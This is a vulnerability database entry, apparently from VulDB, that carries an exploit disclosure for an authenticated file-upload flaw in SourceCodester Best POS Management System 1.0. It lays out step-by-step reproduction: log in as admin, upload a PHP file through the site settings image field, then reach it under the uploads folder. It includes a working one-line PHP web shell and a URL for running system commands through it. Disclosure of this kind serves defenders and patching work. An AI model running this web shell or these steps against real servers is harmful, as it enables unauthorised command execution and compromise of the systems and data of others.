| Title | Authenticated Remote Code Execution on File Upload on Best POS Management System version 1.0 |
|---|
| Description | # Exploit Title: Authenticated Remote Code Execution on File Upload
# Google Dork: NA
# Date: 17/2/2023
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage:
https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0
# Tested on: Windows 11
# CVE : NA
### Steps to Reproduce
1- Login as Admin Rule
2- Head to " http://localhost/kruxton/index.php?page=site_settings"
3- Try to Upload an image here it will be a shell.php
```
shell.php
``````
<?php system($_GET['cmd']); ?>
4- Head to http://localhost/kruxton/assets/uploads/
5- Access your uploaded Shell
http://localhost/kruxton/assets/uploads/1676627880_shell.png.php?cmd=whoami |
|---|
| Source | ⚠️ https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html |
|---|
| User | mroz1l (UID 41497) |
|---|
| Submission | 02/21/2023 12:02 (3 years ago) |
|---|
| Moderation | 02/21/2023 20:59 (9 hours later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 221591 [SourceCodester Best POS Management System 1.0 Image index.php?page=site_settings save_settings img unrestricted upload] |
|---|
| Points | 20 |
|---|